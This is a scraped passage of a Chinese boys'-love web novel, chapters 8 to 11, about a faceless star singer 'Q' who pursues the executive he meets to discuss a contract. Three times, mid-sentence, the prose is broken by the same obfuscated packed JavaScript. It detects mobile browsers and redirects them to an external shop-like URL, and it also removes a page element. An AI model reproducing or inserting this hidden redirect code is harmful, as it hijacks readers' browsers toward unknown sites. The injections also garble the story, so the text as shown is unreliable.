实不相瞒,运气这玩意儿具有极强的时效性与不可控性,一般情况下它只出现一次且只短暂地待一会儿,如果这回没把握住,那下回指不定什么时候才出现。 于是,段远又心安理得地消起了第1835关的狐狸头。 十五分钟后,祁砚知本就少得可怜的耐心瞬间所剩无几: 【Q】:奖金。 简单的两个字,复杂而深远的意义。 段远的余光在屏幕最顶端弹出的消息随意地扫了一眼,下一秒,就差几步就能通关的游戏瞬间被暴力关闭,连带着账号一起退出,甚至差点把游戏一并卸载。 然而这还不够,或许可以申请吉尼斯世界记录的手速在短短五秒内完成了,点开微信点进聊天框输入消息并发送等一条龙服务,顺带的,他还附赠了一张凑偶数用的表情包。 【非玄学不算命】:怎么了祁哥,猫这玩意儿想养就养呗,纠结啥呢? 【非玄学不算命】:(小狗饶命.jpg) 行了,祁砚知这算看明白了,友情这东西甭管它维系多少年都没用,关键时候,还是金钱最好使。 【Q】:话是这么说没错,但我想养的这只猫估计有点贵,不知道养不养得起。 刚退微信两秒迅速给自己点完外卖的段远看到这条消息又是一阵暴击,继上次帮祁砚知提升主卡额度得知他每日花销后,这回他费劲巴拉抢完神券给自己成功减掉两块钱配送费还没来得及高兴就被这家伙成功气笑了。 一只猫都养不起? 您老要不看看您名下各类银行卡余额加起来到底有多少个零再说这话呢? 【非玄学不算命】:(鄙视小猫.jpg) 下一秒,【“非玄学不算命”撤回了一条消息】 【Q】:嗯? 【非玄学不算命】:不是我说,祁哥你是不是对养一只猫有什么误解? 【Q】:误解?什么误解? 莫非他需要跟养家里这盆蝴蝶兰一样去网上买本《新手养猫指导手册》? 【非玄学不算命】:…… 这人应该没救了,总结完毕。 【非玄学不算命】:祁哥你说有没有一种可能,就是养只猫其实没那么贵?别的咱先不说,就至少以你目前的财力,养个十只八只的应该不成问题。 【Q】:十只八只?太多了,我只要一只。 【非玄学不算命】:那也行啊,一只就一只,选个品相好点儿的放家里也不错。 【非玄学不算命】:不过话说祁哥你对这猫有没有什么要求,比如颜色性别之类的,我女朋友她家里有亲戚是开宠物店的,等有机会我跟她提一嘴,让她帮忙选只合你眼缘的。 猫还可以选? 祁砚知意味不名地笑了笑,不是碰着了摸到了就是他的了么? 【Q】:我想要不发情不掉毛,能自己吃饭自己上厕所,温顺黏人懂礼貌讲卫生还喜欢喷香水的猫。 【Q】:能找到么?找得到的话钱不是问题。 段远:“……” 找泥马啊,这条件真特么是正常人能提出来的东西? 要真找得到恐怕得让古希腊造猫之神当场跪下来给他磕头叫爸爸! 骂完还忍不住再骂,妈的这条件找老婆都嫌事儿多,结果这家伙还偏拿来找猫,简直就是长针扎脑门儿—纯脑子有…… 等等! 找老婆?! 段远打下这条消息的时候整条手臂都在颤抖: 【非玄学不算命】:祁哥,你老实跟我说,你是不是根本就没想着养猫,而是看上哪个良家妇男想拐回家了? 这都能猜中? 祁砚知眉尾不自觉挑了挑,心想段远这家伙什么时候长脑子了? 【Q】……算是吧。 【非玄学不算命】:我靠真的啊,祁哥你居然也会有喜欢的人! 这什么话? 【Q】:? 【非玄学不算命】:哈哈哈我是想说祁哥你长得好是真的,眼光挑也是真的,上回我瞒着我女朋友陪你去gay吧,上层下层转好几圈头牌都见好几轮了也不见你夸谁不错。 【非玄学不算命】:噢对,你不夸也就罢了,可你偏偏还得损人家,什么粉太重腰太粗都算好的了,到最后找老板给你推的极品老哥还没进门就被你因为香水太俗给直接拒了出去。 【非玄学不算命】:不开玩笑啊哥,我后来问了那老板,人光喝酒啥也不干都得一小时五千块,而且陪不陪还得看他自己心情,说实话,那天离开包厢的时候我都怕他突然从哪儿冲出来打你。 【非玄学不算命】:祁哥,说真的,无论是出于人道主义还是动物保护,下次如果还有这事儿的话我真不去了,不是不愿意,而是真不敢啊! 刚给自己泡杯茶的功夫就收到好一顿控诉的祁砚知:“?” gay吧? 我? 好吧,还真有这事儿。 【Q】:上次是意外,谁叫那地方又偏又僻,连带着里面的人质量也一言难尽,身材难看得千姿百态,脸丑得也各有千秋,不开口站桌子前面像一溜烟儿的迎宾服务员,一开口像搁谁家刚偷完粪的傻子二百五,既没素质也没脑子。 【非玄学不算命】:……(震撼.jpg) 【非玄学不算命】:虽然但是,祁哥你是不是打错字了,人家是“掏粪”,不是“偷粪”。 【Q】:没啊,掏粪多正常,偷粪才没素质,不要歧视任何一份工作。 好一个“不要歧视任何一份工作”,一句信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133339|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息量如此丰富的地狱笑话最后竟然还能升华成这样,天才的世界果然不是他们这种凡人能理解得了的。 【非玄学不算命】:祁哥说得没错!(大拇指.jpg)(谄媚小猫.jpg) 【非玄学不算命】:不过祁哥,你看上那家伙到底长啥样啊?有照片吗?现在什么进展了? 几乎每个问题都被戳到痛处的祁砚知:“……” 【Q】:现在开始谈正事。 【非玄学不算命】:? 【非玄学不算命】:不要啊祁哥,我想看看未来嫂子,呸,未来男嫂子! 【Q】:奖金。 【“非玄学不算命”撤回了一条消息】 【非玄学不算命】:好的祁砚知先生,您这边是已经决定不打官司直接签字解约对吗? 【Q】:…… 【Q】:对。 【非玄学不算命】:好的,作为目前唯一负责对接您工作的经纪人,我理应充分尊重您的选择,但身为与你有差不多五年交情的朋友,出于正常关心的角度,我还是很想问你是不是有除时间成本以外的考虑? 这个问题的答案段远等了很久,不过他也早猜到了这点,毕竟这问题实在不好回答,官司打多久又打不打得赢是一方面,祁砚知对这件事究竟怎么想又是另一方面。 毕竟相比试试计较利益得失,他还是更关心他这个老朋友的心理状态。 不过比起段远的紧张,祁砚知倒显得轻松许多,又或者说他根本没把这问题当问题,等那么久完全是因为—刚刚灵光乍现突然想到了一段新旋律,于是祁砚知亳无任何负担地走进录音室将这段旋律记录下来打算下次加点贝斯丰富一下。 直到手机另一头的段远刚吃完外卖正准备玩欢乐麻将的时候,屏幕顶端弹出来的消息给了他一个从没想过的答案。 【Q】:实话实说,上个月找大师算过了,他说我今年好事成双,如果照我原本的安排一直进行且不拖到明年的话,用不了多久就会遇到贵人。 【Q】:当然,运气好的话,正缘也会出现。 五分钟后: 【非玄学不算命】:…… 【非玄学不算命】:请尊重我的微信昵称。 看到这句话的祁砚知实在忍不住笑出了声,他边出录音室边憋着笑给段远回消息: 【Q】:或许,你可以再找个大师重新算算? 【Q】:比如我昨天去的那家酒吧,据说那老板就会算命,而且算得还挺准,你可以试试。 【非玄学不算命】:酒吧? 【非玄学不算命】:敢情我昨天守在微博一线时刻关注热搜动态的时候,您老正在酒吧风流潇洒? 【非玄学不算命】:祁砚知,你太!过!分!了! 【非玄学不算命】:这事儿没得商量,必须加钱! 【Q】:加钱可以,但这不是重点,重点是上次谊莱集团是不是找人跟你要过我微信? 看到这条消息,段远忽然愣了愣。 【非玄学不算命】:谊莱集团?好像是有这事儿,不过你问这个干嘛? 【Q】:给我那边的联系方式,我要找人。 【非玄学不算命】:找人?找谁? 【Q】:找你未来嫂子,准确地说,找你未来男嫂子。 9. 兴趣 蒋昭南最近遇到了一件怪事,不过似乎也不能称之为怪事,因为这件事如果成了的话将会给他所在的这家公司带来巨大的利益,然而之所以把它称之为怪事也是这个原因,天上没有白掉的馅饼,任何砸脑门上的好事大概率都会付出些别的东西。 蒋昭南对这个说法深信不疑,但同时他又不得不想办法把这个掉脑门儿上的馅饼拿下来尝尝好坏,原因既简单又直接,实在是这馅饼离他太近且太诱人,有便宜不占王八蛋的道理他也奉为圭臬。 “蒋总,下午五点梧桐路那家法国餐厅的vip包间已经为您定好了,您只需要赶在四点半从公司出发就能按时到达餐厅门口。” “嗯。” 蒋昭南刚领手下几个最需要熟悉业务的部门开完这个月的总结会,与其说是总结会,倒不如说是蒋昭南单方面的骂人会,一场会开下来几个刚招的部门主管个个被骂得狗血淋头,提案被推翻项目被整改,怎么拿着成果高高兴兴进去的,就怎么垂着脑袋丧着眼睛灰溜溜离开的。 整个公司上上下下就只有蒋昭南的秘书是蒋令节那老头发善心塞给他的,名叫饶朔,蒋昭南一般喊他“饶秘”,年龄才仅仅三十六岁,工龄就已经达到了惊人的二十年,也就是说人刚满16岁的时候就已经当上了秘书,并且一直持续到现在。 倒不是说蒋昭南看不起饶朔,甚至恰恰相反,就这么一个月接触下来他是真对这位“饶秘”肃然起敬啊。 随便举个例子,就他刚回国倒时差那会儿,白天没精神就把工作留到晚上做,那会儿他刚改完不知道哪个部门交上来的策划想看看总公司那边有没有相似的项目做个参考,于是就给饶朔发了消息。 那会儿大概是北京时间凌晨四点半,不是周末,第二天还得到公司打早上九点钟的卡,一般来说,那个点儿大家基本都睡了,所以蒋昭南发那消息也根本没想过他会按时回。 结果也就过了半小时吧,就连蒋昭南这个倒时差的都有点困了,放桌上的手机却突然哐哐震了半天,拿起来一看才发现备注为“饶朔”的微信头像在短短一分钟内给他发了不下八个内存不低于2GB的压缩文件。 刚洗完澡正准备关灯睡觉的蒋昭南:“……” 得,这觉算是睡不成了。 就在蒋昭南忍着困意打开电脑苦逼地等着文件压缩完开始一份份看时,那个全黑的微信头像又突然给他弹了一条,“早点睡(微笑黄脸.jpg)” 蒋昭南:“……” 这下是真睡不着了。 行了,有饶朔这么一个工作能力完全可以进公司管理层的秘书,蒋昭南估计这未来几年差不多是得活在他二十四小时不间断的监督下了。 “蒋总,对于待会儿吃的法餐您有什么建议吗?如果没有的话我就随便点几道他们推荐的特色菜了。”饶朔跟在蒋昭南身后靠右的位置帮他拿着刚刚开会用的文件。 “我没什么建议,就看Q那边怎么说。”蒋昭南刚走回办公室就坐上他那张花大价钱买的老板椅,长期久坐容易腰疼,他又不是个会亏待自己的人,甭管价钱,只要坐得舒服就买。 饶朔站他对面随意瞄了一眼,刚刚开会的时候还像个正经领导有板有眼地训人,现在放松下来又多了点儿年轻人不着调的痞气,只能说这演技还真该让公司手下那些艺人好好学学,争取早日混个影帝影后当当。 蒋昭南刚还在看手机,微博热搜挂了某明星塌房事件,名字他有点眼熟,没记错的话应该是上次开会pass掉的几个新人之一,幸好那回背调做得还挺充分,不然这次搁谁签这家伙都得自认倒霉。 蒋昭南稍微看了会儿就觉得没意思了,反正不是睡就是税,娱乐圈塌房就这么回事儿,对他们这种经纪公司来讲,给艺人包装找资源固然重要,但如果想走得再长远点的话,艺德或许得放在首位。 “饶秘,Q的资料给我一份。”蒋昭南放下手机转回电脑边开机边跟饶朔说话。 饶朔闻言放下手里的资料从衣服兜里掏出手机划拉了两下说,“蒋总,传你微信了。” “好。” 趁现在还早,蒋昭南登录微信点开跟饶朔的聊天框找到他刚发的文件看了下去。 Q这人蒋昭南在国外都有所耳闻,当时有一部科幻题材的好莱坞大片正在找人制作并演唱它的片尾曲,正巧那段时间蒋昭南参加了一个朋友组织的聚餐,这片子的制片人也在其中。 酒过三巡这制片人顺带把这事儿提了一嘴,本来只是简单发发牢骚抱怨歌手难找,结果席间有人给他推荐了这么一个华人歌手,据说唱作一流,不仅作词作曲一手包揽,甚至就连唱功在国内一众顶尖歌手里都能排得上号。 当然,其实席间推荐的歌手也不只有Q一个人,但至少在那次的聚餐上蒋昭南唯一感兴趣的就只有他,如果问起具体原因的话,蒋昭南当下就能列出好几条。 比如做音乐从不露脸却能吸粉无数,从民谣到摇滚,从情歌到rap,风格跨度之大,创作类型之多,实在是让他瞠目结舌。然而这都还不是最离谱的,最离谱的是这人在保持高产高质创作出无数能拿奖的作品的同时,归来仍只有二十五岁。 马上二十七还在想办法管好现在这个草台班子的蒋昭南:“……” 人比人还真特么能气死人。 “饶秘啊,”蒋昭南越往下翻Q的履历越觉得不可思议,“你说Q为什么会表达出跟我们公司签约的意向呢?” 蒋昭南边问饶朔边关上了这份越看越打击人的资料,深沉而略显幽怨的声音悠悠地传入饶朔耳边,“他现在这个公司的背景我也查过了,虽然的确不入流,但也胜在创立时间久,积累了那么点儿资源。” “更何况那是他刚出道那会儿签的约,当时没什么名气也就只能签在这种小公司。可他现在不一样了,就算不露脸,日常出首歌的影响力随随便便就能干过一众露脸的大牌歌手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133340|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说到这儿,蒋昭南撑着下颌若有所思地盯着饶朔不解道,“实力一线,人气也直逼一线,他为什么放着国内那么多家顶尖经纪公司不要,非得跟我们这家新成立没多久的分公司签约?” “甚至哪怕他是看中了谊莱的资质也应该直接联系总部,可为什么……?” 饶朔闻言推了推鼻梁上的眼镜有些无奈道,“如果蒋总您有这些疑问可以当面问他,毕竟这次只是谈条件而不是正式签约,您对他本人有任何问题都可以当面提出。” “话是这么说没错,”蒋昭南显得有点郁闷,“总部那边先知道的消息,开会前老头已经给我下了指令,意思就是务必要把Q给签到手,借着他的人气,公司以后拓宽音乐领域的市场既能更方便,也能更顺利。” 饶朔听到这话微微沉默了一会儿,很快他又看向蒋昭南问了一句,“总部那边已经敲定了吗?” 蒋昭南应了一个“嗯”字,随后神色略微有些沉重地回答道,“这事儿应该没得商量,算是总部给我的一个考验,老头现在也到了快退休的年纪,如果这几年我把公司带不出成绩,估计过两年接班的人选就该没我的名字了。” 听起来事态还挺严重,饶朔轻轻皱了皱眉头问蒋昭南,“那你现在是怎么想的?” 蒋昭南却觉得无语,“这能怎么想?” “当然是不顾一切办法把Q这种级别的歌手给签下来。” 不顾一切办法? 饶朔这时心下微微一动,“无论他提什么条件?” “无论他提什么条件。” 蒋昭南答得坚定,可说完他又趴桌上撑着头没好气道,“说实话,待会儿要跟Q见面我这心里还真没底。” “没底?”饶朔差点没忍住笑出声,“蒋总这么年轻有为,还怕心里没底?” 蒋昭南见状撑着脑袋瞥了饶朔一眼瞬间气得牙痒痒,“跟Q比年轻有为,恐怕放眼整个国内都找不到一个能跟他相提并论的吧。” “人18岁刚出道就能写歌拿奖,换现在跟他同年龄段的歌手,好多都还在拿公司的资源吃老本。” 饶朔的眉眼还在笑,等过了会儿终于笑够了才勉强冷静道,“蒋总如果再努把力的话,或许能做下一个Q,只是年龄方面确实无法超越也就算了。” “不过说到这儿我还是得纠正一下蒋总您,Q的确是18岁出道,但他早在14岁的时候就开始给人写歌赚钱了,16岁的时候更是获得了那年的“年度最佳作词奖”。” 暴露了自己只是简单瞟了一眼资料的蒋昭南:“……” 谢谢啊,现在是彻底超不过了。 “行了行了,不对比不知道,一对比真得让我找个地缝给自己埋起来。” 蒋昭南边说边顺道从桌上端了杯已经冷下来的咖啡喝了两口继续说,“不知道是不是心理作用,我总感觉这事儿没这么简单。” “不会这后面真有什么事儿等着我吧?” 10. 弦乐 既不是节假日,也不是周末,这个点儿还在市区绕城高速上晃悠的车实在不多,Q从没在公众场合露过脸,哪怕是谈签约条件也只让蒋昭南一个人来。 蒋昭南本人对此表示理解,毕竟人咖位大地位高,跟他们这种刚创立没多久的分公司谈条件,事事都得谨慎些,毕竟这年头哪个行业都不乏恶心人的下作手段,来的人太多万一遇上谁恶意偷拍,回去再把这些照片发微博到处乱传,到时候可就够Q公关个十天半个月的了。 下高速的时候蒋昭南用手机连上了车载蓝牙,大概还剩十几分钟的车程,等红绿灯的时候,蒋昭南划拉两下手机随机播放了一首纯音乐,作曲家不详,是一首旋律既宏达又浪漫的弦乐,歌颂的估计是命运一类的较为深刻的主题。 蒋昭南是个俗人,没兴趣管它的创作背景或是创作目的,在他眼里,歌只分两种,好听的歌和不好听的歌。 当然,人也一样,只分有救的烂人和没救的烂人。 最近这几天的天气刚赶上入秋,还没到五点,澄澈的蓝天从前方单行道与地平线交汇的尽头开始,慢慢地,没什么所谓地挂上了一层层蒙着雾的黄晕。 看样子应该是要下雨了,蒋昭南按下车窗将胳膊支在窗口感受着车外丝丝缕缕的凉风,音乐被他换成了单曲循环,清脆通透的小提琴声越过驾驶座的方向盘一点点向外逸出。 斑马线路过的行人是孤独的你来我往,前后挤在一起的车头车尾勉勉强强多了点儿按喇叭的喧闹,绿灯磨磨蹭蹭亮起的时候,规整笔直的单行道蓦地给脚踩油门的车主让了让路,一个无名无姓的岔路口就这么悄悄隔开了通向挨家挨户的蜿蜒大道。 蒋昭南关上车窗,同样的一脚油门,趁着雨点还没正式不加宣告地落下,黑色宾利重新沿着当前的单行道拐进一个车辆更显拥堵的主干道。 到餐厅的时候稍微迟了一点,蒋昭南看了下时间,离他们定的五点晚了三分钟,饶朔定的包间在二楼,看牌号估计是在最尽头。 这家餐厅蒋昭南来过一次,不过是好几年前他朋友过生日的时候,场子办得挺大,气氛也挺不错,食物好不好吃他不记得了,唯一还算比较清晰的印象不过就是二楼靠窗的地方摆了一架钢琴。 当时他朋友专门请钢琴师给他们弹奏了一些曲目,都是些经典的钢琴曲,蒋昭南他哥出国留学前在家给他爸养的那条狗弹过。 哦对,他哥觉得他家那狗的艺术细胞都比蒋昭南多。 进门的服务生把蒋昭南领上了二楼,跟他想的一样,靠窗的地方是有一架钢琴,不过钢琴被锁在了玻璃房里。不过说它是玻璃房倒也不太贴切,因为那也算不上是个小房间,顶多就是个几面玻璃围起来的密闭空间。 除了正对着窗户那面,左右以及进入这个空间的玻璃统统都是单向玻璃,只能从里面望外面,而外面的人很难看到里面的情况。 不过这里面应该是有人在弹钢琴,蒋昭南路过这个颇具设计感的玻璃空间稍稍放缓了脚步,琴声悠扬动听,外围坐着一众品着红酒用着法餐的食客,交谈的声音不大,至少没盖过钢琴声。 二楼落地窗的设计让人很清楚地看见了底下川行的车流,室内灯光一面明亮一面又在鹅黄里带着几分暖意,雨开始娑娑地下了起来,蒋昭南站在靠墙的一边默默听完了钢琴变调前的最后几个音符,直到负责带他上来的服务生礼貌地催促一下才意犹未尽地走向了二楼最里侧的包间。 意外的是,Q还没到。 蒋昭南推门进去的时候里面还一片漆黑,开灯坐下四周是法式餐厅一贯的复古风格,桌上摆了瓶红酒,标准的大牌,估摸一瓶怎么也得要个两三千。 服务生把蒋昭南领到包间就离开了,期间蒋昭南坐着无聊打开手机才发现自己没加Q的微信,当然,其实这也不能完全怪他,谁叫公司最近接洽的资方一个个都指名让他亲自去谈,事关手下艺人未来的工作发展,蒋昭南当然不可能推辞。 于是经历连赶两场饭局三轮酒会的蒋昭南终于在今天成功跟Q约上了时间,然而,这中间的对接方是事事都能安排好于是事事就用不着蒋昭南安排的饶秘,所以很自然地,心安理得享受着饶朔安排的蒋昭南直到此时此刻才想起他特么的还没加Q微信! 正当蒋昭南犹豫是该给饶朔发微信还是打电话找他要Q联系方式时,那扇沉重的实木制成的门被人从外向里,一寸寸地推开了。 室外的钢琴声消失得很彻底,室内打的光是蒋昭南在三种能选择的光强里最柔和的一种,当这种飘洒的亮色滴落在来人深蓝色的头发上时,蓬松带着卷的长发就仿佛被镀上了一层斜斜的光。 祁砚知来得有点急,右手手腕上的袖口没来得及扣,倚在门边的时候露出了半边蝴蝶翅膀的纹身。 但其实他来得很早,大约四点四十的时候他就已经在包间里坐下了,不偏不倚地,刚好是蒋昭南现在坐在的位置。 酒是他点的,这家餐厅的老板是他朋友,有时候馋法餐的时候就会到这里来,不过这回大部分的菜都由蒋昭南这边安排,祁砚知稍微看了下,都是些出不了错但又没那么特别的菜品,不怎么合他心意但又不是完全不能接受。 总归这次是他们第一次正式见面,祁砚知想给蒋昭南留下点儿不挑食的好印象,等下回来这儿或是什么时候去他家的时候,祁砚知再想办法让蒋昭南尝尝什么叫真正好吃的法餐。 蒋昭南看见这头漂亮的蓝发以及蓝发周围不经意露出的十字架耳钉时不禁微微愣了愣,祁砚知的头发稍稍有点长,大概刚刚抵在肩膀的长度。 不过相比于酒吧楼梯那会儿的披发,现在站他面前的祁砚知应该是把一部分过长的发丝扎到了脑后,耳边留了点细密的碎发,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133341|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得整张脸精致又白皙,处处透着股浓烈的艳色。 灯光昏暗的时候还不觉得,现在周遭亮起来后,蒋昭南才真正感受到了什么叫绝对浓颜的冲击,简直分分钟秒杀他从总公司那儿看过的所有艺人的时尚写真,完全就是随随便便站那儿就能狂甩别人好几条街的程度。 更何况这身段…… 蒋昭南默默回想起了那天他被人推着抵在角落不小心摸到的弧度,窄而劲瘦,有腹肌,似乎也有……胸肌。 “咳咳,”祁砚知低头望向蒋昭南慢慢有点出神的眼睛轻声咳了咳,声音不大,但很悦耳,就跟蒋昭南开车放的那首弦乐很像,尤其是里面的小提琴声,干净又通透,像是自带混响,无论什么时候落在耳边都是一次次的深度疗愈。 然而刚被祁砚知这一声咳嗽唤回理智的蒋昭南却莫名感到一阵后怕。 开玩笑,活了整整二十六年什么好看的没见过,什么时候像今天这样跟个毛头小子似的紧紧盯着人脸看个不停,更何况…… 更何况他特么是个男的啊!而且还是前几天搁酒吧差点对他构成性骚扰的死gay! 所以现在是几个意思啊? 推开包间站得这么从容,这特么不是Q还能是谁?! 老天爷是不是故意玩儿他啊! “蒋总不让我进去坐坐么?”祁砚知倚在门边笑得跟个妖精似的歪头打量着蒋昭南。 祁砚知这人生得好,气质也好,再加上身量又高,很难让人不注意到他的目光,更别说蒋昭南从一开始对他这种类型就没什么抵抗力,可他特么是纯直男,怎么能对一个男的起别的根本不该有的想法? 于是眼下就算察觉到祁砚知的视线也只能刻意躲闪着,假装什么也不知道地来一句,“Q先生当然可以进来坐,我们本就是来这里谈合作的,所以一切都不用拘谨。” “那好,为了方便聊合作,我就坐蒋总对面吧。” 祁砚知说罢就笑着把门关上拉凳子坐到了蒋昭南对面,蒋昭南虽然觉得尴尬,但眼瞅着这人就这么坐下来应该也出不了什么幺蛾子,可谁能想到坐下的祁砚知比站着的时候更过分! 站着的时候靠门那边相对比较远,蒋昭南还能在那距离里主动避开祁砚知的眼神,可现在人就坐他对面,眼前这张透明的玻璃桌也没多大个面积,祁砚知这家伙都还能不加收敛地直勾勾望着他,甚至……甚至不知道是不是蒋昭南的错觉,他总感觉这人从开始到现在一直在对他抛媚眼! 究竟还有没有天理了?他是直男,直男啊! 得,顶着这家伙这么明晃晃的视线,蒋昭南是低头看手机也不是,不低头看手机也不是,菜还没上来,桌上也没酒杯,他连找借口干点儿什么事开启话题的机会都没有。 当然,他也可以主动且生硬地直接开口问条件,可这未免也太需要勇气了吧! 11. 真话 包间东南方角落的高脚桌上摆着一瓶粉白色的仿真牡丹,祁砚知撑着脑袋看蒋昭南的时候余光正好瞟到了那处的花瓣,颜色选得还挺和谐,放在眼下灯光稍暖的空间里稍稍增加了点儿绮丽的亮色。 时刻找机会抬头的蒋昭南也在这时悄悄放下手机,故作随意地朝祁砚知那边浅浅望了一眼,开口道,“Q先生应该还没和现在的公司解约吧,为什么这么快就想重新找公司签约呢?” 蒋昭南的声音偏低,不正经说话的时候尾音会不自觉往上扬,尤其再配上他那张笑起来唇角勾得浅的俊脸,整个人从里到外都莫名透着股随性的风流,然而此刻正经起来,硬挺的眉眼泛着沉郁的神色,开口时竟颇有点上位者的压迫。 正常情况下祁砚知一贯讨厌任何明里暗里向他施压的合作方,公司安排的资源也好,团队联系的资方也罢,凡是谈判中途让他感到不舒服的,全都毫不例外地当面拒绝并表示今后再无合作可能。 可偏偏的,祁砚知真感觉蒋昭南就像给他下了蛊似的,上回酒吧一眼相中就天天入他的梦,其实入梦就入梦,都特么成年人正常生理需要有什么可避讳的,可关键就在于那些片段实在是太限制级,随便拎一个出来大概都能吓晕面前这个蠢直男。 想见面的心情已经在这几天严重影响到了他的创作,于是好不容易忍到了今天,再次见到这张为数不多他真谈得上喜欢的脸,对方已经或还未做出的一切行为在他这儿都能得到特赦。 这也没办法,世界本就不公平,他更不是个公正的判官,手里仅仅掌握着那么一丁点儿微乎其微的决定权,做不到从一而终,那便随心而动。 他喜欢谁就愿意死皮赖脸地缠着谁,在这段为期或许极其有限的时间里,祁砚知只要求自己付出真心,至于对方领不领情又会不会真的爱上他,那都无关紧要。 再说了,祁砚知这人重欲,不仅是压抑的色欲,还有充斥了他目前整个人生的创作欲,这两种看似风马牛不相及甚至摆一起都觉得荒唐的东西还真在他现在的生活里打得有来有回,一种欲望得不到满足就用另一种欲望抵消,长久下来一直是创作欲占了上风。 可现在不一样了,他遇见了蒋昭南,一个既能勾起他色欲又能帮他纾解色欲的蠢直男,这么多年全凭以作品产出得来的满足感终于又有了新的发泄出口。 所以啊,究竟是谁得了宝贝还真不一定。 祁砚知沉默的时间有点久,而这种沉默又不是全然地像正常人那样垂着头或是固定地看着某个事物,他那双标准的漂亮的桃花眼就在蒋昭南身上转来转去,有时候是鼻尖,有时候是嘴唇,有时候又是他的脖颈,再往下…… 再往下,蒋昭南默默放下了翘起的二郎腿,顺带再把定制的西装外套往下拉了拉。 看到这儿,祁砚知颇有几分不满地移开目光重新将视线落在蒋昭南脸上,满眼无辜又抱歉地说,“蒋总刚才问什么来着?” 等半天感觉全身都被看遍以至于开始坐立难安的蒋昭南:“……” “行了,”祁砚知松开撑在下颌的手腕松了松胳膊浅淡地笑了笑,“不逗蒋总了,该谈正事的时候真不怎么适合说笑。” 祁砚知坐直了身子望着蒋昭南的眼睛认真道,“我跟现在的公司的确还没解约,不过也已经在走流程了,快的话应该下周就能成功解约。” “至于为什么会选择贵公司……” 祁砚知顿了顿,目光随意又自然地望了望蒋昭南,“蒋总想听真话还是假话?” 真话?假话? 这两者之间究竟有多少区别? 蒋昭南摸不透祁砚知的想法,但又总觉得这人准儿憋着坏,于是就偏往正经的猜,“我想听真话。” “可我想说假话。”祁砚知眯着眼睛笑得有点像只刚得逞的狐狸。 看似拥有选择权实则根本没有选择权的蒋昭南:“……” 祁砚知每每看见蒋昭南这副无语却又不能被看出来的模样就觉得好笑,但此刻他也得压着笑开口道,“假话就是,我选择你们纯粹是因为贵公司拥有别的公司都没有的资源与财力,尤其是与音乐领域相关的背景,完完全全就是碾压一众老牌集团的存在。” 好不容易听清祁砚知到底在说什么的蒋昭南:“……” 妈的,睁眼说瞎话就算了,关键这人怎么感觉在变着法儿地内涵他们啊! “咳咳,”蒋昭南撇头假装不经意地咳嗽两声,祁砚知就看着他装,等他差不多咳完后才继续接着说道,“假话我说完了,蒋总还想听真话么?” 蒋昭南闻言却觉得无奈,稍稍放松下来撑着脑袋跟祁砚知对视,“那Q先生觉得我还有选择的机会么?” 祁砚知喜欢他的眼睛,于是目光便在他脸上多停留了会儿,边凝视边略带了几分玩笑道,“有机会,但也没机会,全凭我给不给。” 这话蒋昭南听地微微皱起了眉头,试探性地问了问,“如果是这样的话,那Q先生现在想给么?” “不给。”祁砚知的唇角勾起了一抹礼貌性的微笑。 “那好,”蒋昭南在背椅上调整坐姿慢慢放松了身体,颇有些无所谓地说,“Q先生想说真话,那我就听,总归今天能不能成全看Q先生的意思,我反正是说不上什么话。” 祁砚知觉得他这招以退为进在这个节骨点上用得还算不错,但可惜的是有些话他还真得尽早说,不然追妻路太漫长他会忍不住做些说不定跟违法犯罪搭得上边儿的东西。 正巧这时他跟餐厅老板约定的时间到了,几个身穿燕尾服的服务员端着装着刀叉与烟熏三文鱼面包片的餐盘走入了包间,其中一名男服务员得到示意后主动帮他们开了酒并倒入准备好的酒杯中。 领头的女服务员本想为他们讲解这道开胃菜的制作方法和口感特点,却被祁砚知微笑着打断,并表示他与面前这位朋友需要一个相对私密的空间。 这个女服务员了解之后笑着表示理解,并带着身后的几个服务员迅 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蒋昭南学祁砚知那样吃完了盘里的三文鱼面包片,还没等那口红酒完全咽下去就囫囵地问着,“你在哪儿,我为什么没有看见你?” 祁砚知撑着下巴看蒋昭南吃饭,说实在的,哪怕是有意地学他吃饭,这家伙的吃相仍旧不太好,对待食物也没有充足的耐心和品尝的意味,就好像吃饭只是为了活着,也不管究竟好不好吃,风卷残云地塞进去以后最多也就是保证饿不死。 或许说他是个俗人甚至粗人也不错,只是不带什么刻意的贬义,人都有自己一贯的生活态度,祁砚知自己也不雅,纯粹喜欢的东西是别人眼中的高端,可换个眼光想,这种所谓的高端还比不上蒋昭南的随性与洒脱。 当然,也不排除他是单纯喜欢这家伙,所以看他干什么都觉得既矛盾又可爱,事事都能想着给他开脱。 